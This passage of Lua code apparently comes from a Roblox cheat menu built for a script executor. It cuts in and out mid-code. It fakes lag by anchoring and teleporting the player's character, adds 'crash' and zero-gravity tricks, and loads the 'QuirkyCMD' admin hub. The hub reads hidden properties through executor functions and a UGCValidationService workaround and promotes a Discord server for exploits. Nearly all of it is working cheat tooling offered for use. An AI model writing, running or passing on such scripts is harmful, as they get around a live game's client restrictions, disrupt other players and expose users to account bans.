Color3.fromRGB(100,200,100) else btn.Text = name..": OFF" btn.BackgroundColor3 = Color3.fromRGB(60,60,60) end end end local function badPingLoop() local wasMoving = false while lagOn and activeMode == "Bad Ping" do local char = player.Character local hum = char and char:FindFirstChildOfClass("Humanoid") local root = char and char:FindFirstChild("HumanoidRootPart") if hum and root then if hum.MoveDirection.Magnitude > 0 then wasMoving = true elseif wasMoving and hum.MoveDirection.Magnitude == 0 then wasMoving = false local oldWS, oldJP = hum.WalkSpeed, hum.JumpPower hum.WalkSpeed, hum.JumpPower = 0,0 local runAnim = playRunAnim(hum) task.wait(0.5) root.CFrame = root.CFrame + (root.CFrame.LookVector * (savedSpeeds["Bad Ping"] or 1)) task.wait(1.5) if runAnim then runAnim:Stop(); runAnim:Destroy() end hum.WalkSpeed, hum.JumpPower = oldWS, oldJP end end task.wait(0.2) end end local function fakeLagLoop() while lagOn and activeMode == "Fake Lag" do local char = player.Character if char and char:FindFirstChild("HumanoidRootPart") then local root = char.HumanoidRootPart local internalSpeed = (savedSpeeds["Fake Lag"] or 1) + 5 local freezeTime = math.clamp(0.8 / internalSpeed, 0.05, 0.8) local unfreezeTime = math.clamp(0.2 / internalSpeed, 0.05, 0.5) root.Anchored = true task.wait(freezeTime) root.Anchored = false task.wait(unfreezeTime) else task.wait(0.2) end end end local function toggleCrash() crashOn = not crashOn local char = player.Character local hum = char and char:FindFirstChildOfClass("Humanoid") local root = char and char:FindFirstChild("HumanoidRootPart") if crashOn and hum and root then local animator = hum:FindFirstChildOfClass("Animator") if animator and #animator:GetPlayingAnimationTracks() > 0 then local currentTrack = animator:GetPlayingAnimationTracks()[1] if currentTrack then local anim = Instance.new("Animation") anim.AnimationId = currentTrack.Animation.AnimationId crashAnimTrack = animator:LoadAnimation(anim) crashAnimTrack.Looped = true crashAnimTrack:Play() crashAnimTrack:AdjustSpeed(savedSpeeds["Crash"] or 1) root.Anchored = true end end else if crashAnimTrack then crashAnimTrack:Stop(); crashAnimTrack:Destroy() end if root then root.Anchored = false end end updateButtonStates() end local function toggleMode(mode) if mode == "Crash" then toggleCrash() return end if activeMode == mode and lagOn then if mode == "Bad Ping" then local char = player.Character local root = char and char:FindFirstChild("HumanoidRootPart") if root then repeat task.wait(0.1) until root.Velocity.Magnitude < 0.1 end end if lagLoop then task.cancel(lagLoop) end local char = player.Character if char and char:FindFirstChild("HumanoidRootPart") then char.HumanoidRootPart.Anchored = false end lagOn = false updateButtonStates() tipLbl.Text = defaultTip else activeMode = mode tipLbl.Text = mode lagSpeed = savedSpeeds[mode] or 1 statusLbl.Text = "Speed: " .. lagSpeed lagOn = true updateButtonStates() if mode == "Bad Ping" then lagLoop = task.spawn(badPingLoop) elseif mode == "Fake Lag" then lagLoop = task.spawn(fakeLagLoop) end end end for name,btn in pairs(buttons) do btn.MouseButton1Click:Connect(function() toggleMode(name) end) end enterBtn.MouseButton1Click:Connect(function() if activeMode then local num = tonumber(speedBox.Text) if num and num > 0 then savedSpeeds[activeMode] = num lagSpeed = num statusLbl.Text = "Speed: "..num if activeMode == "Crash" and crashAnimTrack then crashAnimTrack:AdjustSpeed(num) end else statusLbl.Text = "Invalid number!" end end end) end) end; task.spawn(C_2f); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_30() local script = G2L["30"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_30); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_32() local script = G2L["32"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Parent.ScreenGui:Destroy() end) end; task.spawn(C_32); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_34() local script = G2L["34"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_34); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_35() local script = G2L["35"]; script.Parent.MouseButton1Click:Connect(function() -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! -- skid? Your welcome! --[[ _ __ _ _ | | / / (_) | | | |_ _ __ ___ ___ / /_ _ _ __ ___ ___ _ _ _____ _____ ___ _ __ _ _ __ | |_ ___ | __| | '_ ` _ \ / _ \ / / _` | '__/ __/ _ \ | | / __\ \/ / __|/ __| '__| | '_ \| __/ __| | |_ _| | | | | | __// / (_| | | | (_| __/ |_| \__ \> <\__ \ (__| | | | |_) | |_\__ \ \__(_)_| |_| |_|\___/_/ \__,_|_| \___\___|\__,_|___/_/\_\___/\___|_| |_| .__/ \__|___/ | | |_| ]] local gui = Instance.new("ScreenGui") local main = Instance.new("Frame") local label = Instance.new("TextLabel") local UITextSizeConstraint = Instance.new("UITextSizeConstraint") local button = Instance.new("TextButton") local UITextSizeConstraint_2 = Instance.new("UITextSizeConstraint") gui.Name = "gui" gui.Parent = gethui() gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling main.Name = "main" main.Parent = gui main.BackgroundColor3 = Color3.fromRGB(72, 72, 72) main.BorderColor3 = Color3.fromRGB(0, 0, 0) main.BorderSizePixel = 0 main.Position = UDim2.new(0.196095973, 0, 0.556803584, 0) main.Size = UDim2.new(0.178187668, 0, 0.13960205, 0) main.Active = true main.Draggable = true label.Name = "label" label.Parent = main label.BackgroundColor3 = Color3.fromRGB(108, 108, 108) label.BorderColor3 = Color3.fromRGB(0, 0, 0) label.BorderSizePixel = 0 label.Size = UDim2.new(1, 0, 0.294736832, 0) label.Font = Enum.Font.Gotham label.Text = "Zero Gravity" label.TextColor3 = Color3.fromRGB(255, 255, 255) label.TextScaled = true label.TextSize = 29.000 label.TextWrapped = true UITextSizeConstraint.Parent = label UITextSizeConstraint.MaxTextSize = 29 button.Name = "button" button.Parent = main button.BackgroundColor3 = Color3.fromRGB(108, 108, 108) button.BorderColor3 = Color3.fromRGB(0, 0, 0) button.BorderSizePixel = 0 button.Position = UDim2.new(0.0526315793, 0, 0.438756049, 0) button.Size = UDim2.new(0.894736826, 0, 0.431578934, 0) button.Font = Enum.Font.Gotham button.Text = "Click" button.TextColor3 = Color3.fromRGB(255, 255, 255) button.TextSize = 24.000 button.TextScaled = true button.TextWrapped = true UITextSizeConstraint_2.Parent = button UITextSizeConstraint_2.MaxTextSize = 31 -- Scripts: local plr = game:GetService("Players").LocalPlayer local normalGravity = workspace.Gravity local function MUBRZ_fake_script() -- button.script local script = Instance.new('LocalScript', button) script.Parent.MouseButton1Click:Connect(function() workspace.Gravity = 0 local humanoid = plr.Character:FindFirstChildWhichIsA("Humanoid") humanoid.Sit = true task.wait(0.1) humanoid.RootPart.CFrame = humanoid.RootPart.CFrame * CFrame.Angles(math.pi * 0.5, 0, 0) for _, v in ipairs(humanoid:GetPlayingAnimationTracks()) do v:Stop() end end) game:GetService("UserInputService").JumpRequest:Connect(function() workspace.Gravity = normalGravity end) end coroutine.wrap(MUBRZ_fake_script)() end) end; task.spawn(C_35); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_37() local script = G2L["37"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_37); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_38() local script = G2L["38"]; script.Parent.MouseButton1Click:Connect(function() -- Discord server for working games: https://discord.gg/quirkycmd -- Made by Cynatica -- QuirkyCMD on Top! local cloneref = cloneref or function(a) return a end local coreGui = cloneref(game:GetService("CoreGui")) local players = cloneref(game:GetService("Players")) local localPlayer = players.LocalPlayer local function isElevatedStudioPlugin() local s, r = pcall(function() return coreGui:GetChildren() end) return s end local gethui = gethui or function() local folder if isElevatedStudioPlugin() then if coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") then folder = coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") else folder = Instance.new("Folder") folder.Name = '.__gethui' folder.Parent = coreGui:WaitForChild("RobloxGui") end else folder = localPlayer:WaitForChild'PlayerGui' end return folder end -- Instances: local quirkyCMD = Instance.new("ScreenGui") local main = Instance.new("Frame") local menu = Instance.new("ImageButton") local cmdBox = Instance.new("TextBox") local UITextSizeConstraint = Instance.new("UITextSizeConstraint") local UICorner = Instance.new("UICorner") local UICorner_2 = Instance.new("UICorner") local remotepath = Instance.new("TextLabel") local UICorner_3 = Instance.new("UICorner") local mobileOpen = Instance.new("TextButton") local UICorner_4 = Instance.new("UICorner") local cmds = Instance.new("Frame") local UICorner_5 = Instance.new("UICorner") local closeButton = Instance.new("TextButton") local UICorner_6 = Instance.new("UICorner") local cmdList = Instance.new("ScrollingFrame") local UIListLayout = Instance.new("UIListLayout") local template = Instance.new("TextLabel") local UIGradient = Instance.new("UIGradient") local UICorner_7 = Instance.new("UICorner") --Properties: quirkyCMD.Name = "quirkyCMD" quirkyCMD.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") quirkyCMD.ZIndexBehavior = Enum.ZIndexBehavior.Sibling quirkyCMD.ResetOnSpawn = false main.Name = "main" main.Parent = quirkyCMD main.AnchorPoint = Vector2.new(0.5, 0.5) main.BackgroundColor3 = Color3.fromRGB(0, 0, 0) main.BorderColor3 = Color3.fromRGB(0, 0, 0) main.BorderSizePixel = 0 main.Position = UDim2.new(0.5, 0, 0.5, 0) main.Size = UDim2.new(0, 250, 0, 40) menu.Name = "menu" menu.Parent = main menu.BackgroundColor3 = Color3.fromRGB(255, 255, 255) menu.BackgroundTransparency = 1.000 menu.BorderColor3 = Color3.fromRGB(0, 0, 0) menu.BorderSizePixel = 0 menu.Position = UDim2.new(0.811999977, 0, 0.125, 0) menu.Size = UDim2.new(0, 27, 0, 30) menu.Image = "rbxassetid://73467005156187" menu.ImageColor3 = Color3.fromRGB(153, 153, 153) cmdBox.Name = "cmdBox" cmdBox.Parent = main cmdBox.BackgroundColor3 = Color3.fromRGB(22, 22, 22) cmdBox.BackgroundTransparency = 0.800 cmdBox.BorderColor3 = Color3.fromRGB(0, 0, 0) cmdBox.BorderSizePixel = 0 cmdBox.Position = UDim2.new(0.163999751, 0, 0, 0) cmdBox.Size = UDim2.new(0.588, 0, 0.999999642, 0) cmdBox.Font = Enum.Font.SourceSansBold cmdBox.PlaceholderColor3 = Color3.fromRGB(103, 103, 103) cmdBox.PlaceholderText = "QuirkyCMD loaded" cmdBox.Text = "" cmdBox.TextColor3 = Color3.fromRGB(103, 103, 103) cmdBox.TextScaled = true cmdBox.TextSize = 12.000 cmdBox.TextWrapped = true UITextSizeConstraint.Parent = cmdBox UITextSizeConstraint.MaxTextSize = 18 UICorner.CornerRadius = UDim.new(0, 20) UICorner.Parent = cmdBox UICorner_2.CornerRadius = UDim.new(0, 16) UICorner_2.Parent = main remotepath.Name = "remotepath" remotepath.Parent = quirkyCMD remotepath.BackgroundColor3 = Color3.fromRGB(0, 0, 0) remotepath.BackgroundTransparency = 0.600 remotepath.BorderColor3 = Color3.fromRGB(0, 0, 0) remotepath.BorderSizePixel = 0 remotepath.Position = UDim2.new(0.395616412, 0, 0.249097273, 0) remotepath.Size = UDim2.new(0.208000004, 0, 0.0439999998, 0) remotepath.Text = "" remotepath.TextColor3 = Color3.fromRGB(255, 255, 255) remotepath.TextScaled = true remotepath.TextSize = 14.000 remotepath.TextTransparency = 0.600 remotepath.TextWrapped = true UICorner_3.CornerRadius = UDim.new(0.400000006, 0) UICorner_3.Parent = remotepath mobileOpen.Name = "mobileOpen" mobileOpen.Parent = quirkyCMD mobileOpen.AnchorPoint = Vector2.new(1, 0) mobileOpen.BackgroundColor3 = Color3.fromRGB(22, 22, 22) mobileOpen.BorderColor3 = Color3.fromRGB(0, 0, 0) mobileOpen.BorderSizePixel = 0 mobileOpen.Position = UDim2.new(0.999999821, 0, 0.293097287, 0) mobileOpen.Selectable = false mobileOpen.Size = UDim2.new(0.056456618, 0, 0.0343623683, 0) mobileOpen.Visible = false mobileOpen.Font = Enum.Font.SourceSansBold mobileOpen.Text = "CMD" mobileOpen.TextColor3 = Color3.fromRGB(200, 200, 200) mobileOpen.TextScaled = true mobileOpen.TextSize = 14.000 mobileOpen.TextWrapped = true UICorner_4.CornerRadius = UDim.new(1, 1) UICorner_4.Parent = mobileOpen cmds.Name = "cmds" cmds.Parent = quirkyCMD cmds.Active = true cmds.AnchorPoint = Vector2.new(0.5, 0.5) cmds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) cmds.BorderColor3 = Color3.fromRGB(0, 0, 0) cmds.BorderSizePixel = 0 cmds.Position = UDim2.new(0.5, 0, 0.5, 0) cmds.Size = UDim2.new(0.0883912593, 0, 0.287559688, 0) cmds.Visible = false UICorner_5.CornerRadius = UDim.new(0, 16) UICorner_5.Parent = cmds closeButton.Name = "closeButton" closeButton.Parent = cmds closeButton.Active = false closeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0) closeButton.BorderColor3 = Color3.fromRGB(0, 0, 0) closeButton.BorderSizePixel = 0 closeButton.Position = UDim2.new(0.306886673, 0, -7.849561e-08, 0) closeButton.Size = UDim2.new(0.386227101, 0, 0.0566039979, 0) closeButton.Font = Enum.Font.SourceSansBold closeButton.Text = "Close" closeButton.TextColor3 = Color3.fromRGB(159, 159, 159) closeButton.TextSize = 14.000 closeButton.TextWrapped = true UICorner_6.CornerRadius = UDim.new(0.400000006, 0) UICorner_6.Parent = closeButton cmdList.Name = "cmdList" cmdList.Parent = cmds cmdList.BackgroundColor3 = Color3.fromRGB(0, 0, 0) cmdList.BorderColor3 = Color3.fromRGB(0, 0, 0) cmdList.BorderSizePixel = 0 cmdList.Position = UDim2.new(0, 0, 0.0566038229, 0) cmdList.Size = UDim2.new(0.999999881, 0, 0.943396211, 0) cmdList.AutomaticCanvasSize = Enum.AutomaticSize.Y cmdList.CanvasSize = UDim2.new() cmdList.ScrollBarImageColor3 = Color3.fromRGB(200, 200, 200) -- Optional visual enhancement UIListLayout.Parent = cmdList UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder UIListLayout.Padding = UDim.new(0, 5) template.Name = "template" template.Parent = cmdList template.BackgroundColor3 = Color3.fromRGB(255, 255, 255) template.BackgroundTransparency = 1.000 template.BorderColor3 = Color3.fromRGB(0, 0, 0) template.BorderSizePixel = 0 template.Position = UDim2.new(0, 0, 0.032717593, 0) template.Size = UDim2.new(0.999999821, 0, 0.323825359, 0) template.Font = Enum.Font.SourceSans template.Text = "error, please contact cynatica. you possibly executed QuirkyCMD twice." template.TextColor3 = Color3.fromRGB(200, 200, 200) template.TextScaled = true template.TextSize = 14.000 template.TextWrapped = true UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(0.58, Color3.fromRGB(229, 229, 229)), ColorSequenceKeypoint.new(0.78, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))} UIGradient.Parent = template UICorner_7.CornerRadius = UDim.new(0, 10) UICorner_7.Parent = cmdList -- Scripts: local function JPZSSO_fake_script() -- main.drag local script = Instance.new('LocalScript', main) local gui = script.Parent gui.Active = true gui.Selectable = true local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local dragging = false local dragStart local startPos local targetPos local dragSpeed = 8 local function lerpVec2(a, b, t) return a:Lerp(b, t) end RunService.Heartbeat:Connect(function(dt) if not targetPos then return end local pos = gui.Position local newX = lerpVec2(Vector2.new(pos.X.Offset, 0), Vector2.new(targetPos.X.Offset, 0), dt * dragSpeed).X local newY = lerpVec2(Vector2.new(0, pos.Y.Offset), Vector2.new(0, targetPos.Y.Offset), dt * dragSpeed).Y gui.Position = UDim2.new(pos.X.Scale, newX, pos.Y.Scale, newY) end) local function startDrag(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position local conn conn = input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false conn:Disconnect() end end) end end gui.InputBegan:Connect(startDrag) for i, child in gui:GetChildren() do if child.Name == "menu" and child:IsA("ImageButton") then child.InputBegan:Connect(startDrag) end end UserInputService.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart targetPos = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end end) end coroutine.wrap(JPZSSO_fake_script)() local function CAHA_fake_script() -- main.anims local script = Instance.new('LocalScript', main) local frame = script.Parent local TweenService = game:GetService("TweenService") local originalSize = UDim2.new(0, 60, 0, 40) local expandedSize = UDim2.new(0, 250, 0, 40) frame.Size = originalSize local menu = frame:FindFirstChild("menu") local commandsBtn = nil if menu then local selection = menu:FindFirstChild("selection") if selection then commandsBtn = selection:FindFirstChild("commands") end end local cmdBox = frame:FindFirstChild("cmdBox") local cmdList = frame:FindFirstChild("cmdList") local template = cmdList and cmdList:FindFirstChild("template") local tweenTime = 0.45 local outTweenTime = 0.45 local easingStyle = Enum.EasingStyle.Quad local easingDir = Enum.EasingDirection.Out local cmdListOriginalPosition = cmdList and cmdList.Position local cmdListHiddenPosition = cmdListOriginalPosition and UDim2.new(cmdListOriginalPosition.X.Scale, cmdListOriginalPosition.X.Offset, cmdListOriginalPosition.Y.Scale + 1, cmdListOriginalPosition.Y.Offset) local cmdListOriginalTransparency = cmdList and cmdList.BackgroundTransparency or 0 local templateOriginalPosition = template and template.Position local templateHiddenPosition = templateOriginalPosition and UDim2.new(templateOriginalPosition.X.Scale, templateOriginalPosition.X.Offset, templateOriginalPosition.Y.Scale + 1, templateOriginalPosition.Y.Offset) local templateOriginalTransparency = template and template.TextTransparency or 0 local templateOriginalBGTransparency = template and template.BackgroundTransparency or 0 local cmdBoxOriginalBG = cmdBox and (cmdBox.BackgroundTransparency or 0) or 0 local cmdBoxOriginalText = cmdBox and (cmdBox.TextTransparency or 0) or 0 if cmdBox then cmdBox.Visible = false cmdBox.BackgroundTransparency = 1 cmdBox.TextTransparency = 1 end if cmdList then if cmdListHiddenPosition then cmdList.Position = cmdListHiddenPosition end cmdList.Visible = false cmdList.BackgroundTransparency = 1 end if template then if templateHiddenPosition then template.Position = templateHiddenPosition end template.Visible = false template.TextTransparency = 1 template.BackgroundTransparency = 1 end local cmdBoxBGtween, cmdBoxTextTween, frameTween, btnTween local cmdListTween, templateTween, templateBGTween local function cancelCmdBoxTweens() if cmdBoxBGtween then cmdBoxBGtween:Cancel() cmdBoxBGtween = nil end if cmdBoxTextTween then cmdBoxTextTween:Cancel() cmdBoxTextTween = nil end end local function cancelFrameTween() if frameTween then frameTween:Cancel() frameTween = nil end end local function cancelBtnTween() if btnTween then btnTween:Cancel() btnTween = nil end end local function cancelCmdListTween() if cmdListTween then cmdListTween:Cancel() cmdListTween = nil end end local function cancelTemplateTweens() if templateTween then templateTween:Cancel() templateTween = nil end if templateBGTween then templateBGTween:Cancel() templateBGTween = nil end end local function setChildrenVisibility(visible) for _, child in frame:GetChildren() do if child ~= menu and child ~= script and child:IsA("GuiObject") and child ~= cmdBox and child ~= cmdList then child.Visible = visible end end end local function tweenCmdBoxIn(onComplete) if not cmdBox then if onComplete then onComplete() end return end cancelCmdBoxTweens() cmdBox.Visible = true cmdBox.BackgroundTransparency = 1 cmdBox.TextTransparency = 1 local tweenInfo = TweenInfo.new(tweenTime, easingStyle, easingDir) cmdBoxBGtween = TweenService:Create(cmdBox, tweenInfo, {BackgroundTransparency = cmdBoxOriginalBG}) cmdBoxTextTween = TweenService:Create(cmdBox, tweenInfo, {TextTransparency = cmdBoxOriginalText}) local completed = 0 local function onTweenComplete() completed = completed + 1 if completed == 2 then cmdBoxBGtween = nil cmdBoxTextTween = nil if onComplete then onComplete() end end end if cmdBoxBGtween and cmdBoxTextTween then cmdBoxBGtween.Completed:Connect(onTweenComplete) cmdBoxTextTween.Completed:Connect(onTweenComplete) cmdBoxBGtween:Play() cmdBoxTextTween:Play() else if onComplete then onComplete() end end end local function tweenCmdBoxOut(onComplete) if not cmdBox then if onComplete then onComplete() end return end cancelCmdBoxTweens() local tweenInfo = TweenInfo.new(outTweenTime, easingStyle, easingDir) cmdBoxBGtween = TweenService:Create(cmdBox, tweenInfo, {BackgroundTransparency = 1}) cmdBoxTextTween = TweenService:Create(cmdBox, tweenInfo, {TextTransparency = 1}) local completed = 0 local function onTweenComplete() completed = completed + 1 if completed == 2 then cmdBox.Visible = false cmdBoxBGtween = nil cmdBoxTextTween = nil if onComplete then onComplete() end end end if cmdBoxBGtween and cmdBoxTextTween then cmdBoxBGtween.Completed:Connect(onTweenComplete) cmdBoxTextTween.Completed:Connect(onTweenComplete) cmdBoxBGtween:Play() cmdBoxTextTween:Play() else if onComplete then onComplete() end end end local cmdListShowing = false local function showCmdList() cancelCmdListTween() cancelTemplateTweens() if not cmdList then return end cmdList.Visible = true if cmdListHiddenPosition then cmdList.Position = cmdListHiddenPosition end cmdList.BackgroundTransparency = 1 if template then if templateHiddenPosition then template.Position = templateHiddenPosition end template.Visible = true template.TextTransparency = 1 template.BackgroundTransparency = 1 end if cmdListOriginalPosition then cmdListTween = TweenService:Create(cmdList, TweenInfo.new(tweenTime, easingStyle, easingDir), { Position = cmdListOriginalPosition, BackgroundTransparency = cmdListOriginalTransparency }) cmdListTween.Completed:Connect(function() cmdListTween = nil end) cmdListTween:Play() end if template and templateOriginalPosition then templateTween = TweenService:Create(template, TweenInfo.new(tweenTime, easingStyle, easingDir), { Position = templateOriginalPosition, TextTransparency = templateOriginalTransparency }) templateBGTween = TweenService:Create(template, TweenInfo.new(tweenTime, easingStyle, easingDir), { BackgroundTransparency = templateOriginalBGTransparency }) templateTween.Completed:Connect(function() templateTween = nil end) templateBGTween.Completed:Connect(function() templateBGTween = nil end) templateTween:Play() templateBGTween:Play() end cmdListShowing = true end local function hideCmdList() cancelCmdListTween() cancelTemplateTweens() if not cmdList then return end local tweenInfo = TweenInfo.new(outTweenTime, easingStyle, easingDir) if cmdListHiddenPosition then cmdListTween = TweenService:Create(cmdList, tweenInfo, { Position = cmdListHiddenPosition, BackgroundTransparency = 1 }) cmdListTween.Completed:Connect(function() cmdList.Visible = false cmdListTween = nil end) cmdListTween:Play() else cmdList.Visible = false end if template and templateHiddenPosition then templateTween = TweenService:Create(template, tweenInfo, { Position = templateHiddenPosition, TextTransparency = 1 }) templateBGTween = TweenService:Create(template, tweenInfo, { BackgroundTransparency = 1 }) templateTween.Completed:Connect(function() template.Visible = false templateTween = nil end) templateBGTween.Completed:Connect(function() templateBGTween = nil end) templateTween:Play() templateBGTween:Play() elseif template then template.Visible = false end cmdListShowing = false end local btnWidth, btnHeight = 27, 30 local originalBtnPosition = UDim2.new(0.5, -btnWidth/2, 0.5, -btnHeight/2) local originalBtnSize = UDim2.new(0, btnWidth, 0, btnHeight) local hoveredBtnPosition = UDim2.new(0.812, 0, 0.125, 0) local hoveredBtnSize = UDim2.new(0, btnWidth, 0, btnHeight) if menu then menu.Visible = true menu.Position = originalBtnPosition menu.Size = originalBtnSize end setChildrenVisibility(false) local function tweenFrameSize(targetSize, onComplete) cancelFrameTween() frameTween = TweenService:Create(frame, TweenInfo.new(tweenTime, easingStyle, easingDir), {Size = targetSize}) frameTween.Completed:Connect(function() frameTween = nil if onComplete then onComplete() end end) frameTween:Play() end local function tweenMenuButton(targetPos, targetSize) cancelBtnTween() if menu then btnTween = TweenService:Create(menu, TweenInfo.new(tweenTime, easingStyle, easingDir), { Position = targetPos, Size = targetSize }) btnTween.Completed:Connect(function() btnTween = nil end) btnTween:Play() end end local function resetFrameToCollapsed() cancelFrameTween() cancelBtnTween() cancelCmdBoxTweens() frame.Size = originalSize if menu then menu.Position = originalBtnPosition menu.Size = originalBtnSize end setChildrenVisibility(false) if cmdBox then cmdBox.Visible = false cmdBox.BackgroundTransparency = 1 cmdBox.TextTransparency = 1 end hideCmdList() end local function playIntroAnimation() cancelFrameTween() cancelBtnTween() tweenFrameSize(expandedSize, function() setChildrenVisibility(true) tweenCmdBoxIn() end) if menu then tweenMenuButton(hoveredBtnPosition, hoveredBtnSize) end end local isExpanded = false local function toggleExpand() if isExpanded then tweenCmdBoxOut(function() setChildrenVisibility(false) tweenFrameSize(originalSize) if menu then tweenMenuButton(originalBtnPosition, originalBtnSize) end hideCmdList() end) else playIntroAnimation() end isExpanded = not isExpanded end if menu then menu.MouseButton1Click:Connect(toggleExpand) end if commandsBtn then commandsBtn.MouseButton1Click:Connect(function() if cmdListShowing then hideCmdList() else showCmdList() end end) end resetFrameToCollapsed() end coroutine.wrap(CAHA_fake_script)() if not game:IsLoaded() then game.Loaded:Wait() end --Discord Invite local notificationShown = false local TweenService = game:GetService("TweenService") local discordInvite = "https://discord.gg/quirkycmd" local function createNotification() local gui = game.Players.LocalPlayer:WaitForChild("PlayerGui") local screen = Instance.new("ScreenGui") screen.Name = "ok" screen.IgnoreGuiInset = true screen.ResetOnSpawn = false screen.Parent = gui local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 280, 0, 90) frame.AnchorPoint = Vector2.new(1, 1) frame.Position = UDim2.new(1, -20, 1, 120) frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ClipsDescendants = true frame.Parent = screen Instance.new("UIScale", frame) Instance.new("UIAspectRatioConstraint", frame).AspectRatio = 3 local corner = Instance.new("UICorner", frame) corner.CornerRadius = UDim.new(0, 16) local close = Instance.new("TextButton") close.Text = "X" close.Size = UDim2.new(0, 22, 0, 22) close.Position = UDim2.new(1, -26, 0, 6) close.BackgroundColor3 = Color3.fromRGB(0, 0, 0) close.TextColor3 = Color3.fromRGB(159, 159, 159) close.Font = Enum.Font.FredokaOne close.TextSize = 14 close.BorderSizePixel = 0 close.Parent = frame local ccorner = Instance.new("UICorner", close) ccorner.CornerRadius = UDim.new(1, 0) local container = Instance.new("Frame") container.BackgroundTransparency = 1 container.Size = UDim2.new(1, -24, 1, -24) container.Position = UDim2.new(0, 12, 0, 12) container.Parent = frame local layout = Instance.new("UIListLayout") layout.SortOrder = Enum.SortOrder.LayoutOrder layout.Padding = UDim.new(0, 6) layout.VerticalAlignment = Enum.VerticalAlignment.Center layout.Parent = container local label = Instance.new("TextLabel") label.Text = "Join our Discord Server!" label.TextColor3 = Color3.fromRGB(159, 159, 159) label.Font = Enum.Font.GothamBold label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Center label.BackgroundTransparency = 1 label.Size = UDim2.new(1, 0, 0, 18) label.LayoutOrder = 1 label.Parent = container local link = Instance.new("TextLabel") link.Text = discordInvite link.TextColor3 = Color3.fromRGB(159, 159, 159) link.Font = Enum.Font.Gotham link.TextSize = 13 link.TextXAlignment = Enum.TextXAlignment.Center link.BackgroundTransparency = 1 link.Size = UDim2.new(1, 0, 0, 18) link.LayoutOrder = 2 link.Parent = container local buttonContainer = Instance.new("Frame") buttonContainer.BackgroundTransparency = 1 buttonContainer.Size = UDim2.new(1, 0, 0, 26) buttonContainer.LayoutOrder = 3 buttonContainer.Parent = container local button = Instance.new("TextButton") button.Text = "Copy Invite" button.Size = UDim2.new(0, 110, 1, 0) button.AnchorPoint = Vector2.new(0.5, 0) button.Position = UDim2.new(0.5, 0, 0, 0) button.BackgroundColor3 = Color3.fromRGB(0, 0, 0) button.TextColor3 = Color3.fromRGB(159, 159, 159) button.Font = Enum.Font.GothamSemibold button.TextSize = 13 button.Parent = buttonContainer local bcorner = Instance.new("UICorner", button) bcorner.CornerRadius = UDim.new(0, 8) local tweenIn = TweenService:Create(frame, TweenInfo.new(0.7, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Position = UDim2.new(1, -20, 1, -20) }) tweenIn:Play() button.MouseButton1Click:Connect(function() pcall(function() setclipboard(discordInvite) end) button.Text = "Copied!" task.delay(1, function() button.Text = "Copy Invite" end) end) local function hide() local tweenOut = TweenService:Create(frame, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), { Position = UDim2.new(1, -20, 1, 120) }) tweenOut:Play() tweenOut.Completed:Connect(function() screen:Destroy() end) end close.MouseButton1Click:Connect(hide) task.delay(10, hide) end createNotification() --[[Variables]]-- local debugOutput = true local checkTime = 0.33 local flySpeed = 50 local UGCVS = game:GetService("UGCValidationService") local uis = game:GetService("UserInputService") local sgui = game:GetService("StarterGui") local rs = game:GetService("RunService") local rStorage = game:GetService("ReplicatedStorage") local players = game:GetService("Players") local localPlayer = players.LocalPlayer local gui = quirkycmd or localPlayer:FindFirstChildOfClass("PlayerGui"):WaitForChild("quirkyCMD") local gethui = gethui or function() return localPlayer:FindFirstChildOfClass("PlayerGui") end local main = gui:WaitForChild("main") local box = main:WaitForChild("cmdBox") local mobileButton = gui:WaitForChild("mobileOpen") local cmdsFrame = gui:WaitForChild("cmds") local cmdsList = cmdsFrame:WaitForChild("cmdList") local cmdTemplate = cmdsList:WaitForChild("template") local closeButton = cmdsFrame:WaitForChild("closeButton") local remotePath = gui:WaitForChild("remotepath") local genv = (getgenv and (getgenv() ~= getfenv()) and getgenv()) or _G local gethiddenproperty if pcall(function() gethiddenproperty(localPlayer,"SimulationRadius") end) then gethiddenproperty = gethiddenproperty else gethiddenproperty = function(i, v) return UGCVS:GetPropertyValue(i, v) end end local sethiddenproperty = sethiddenproperty or 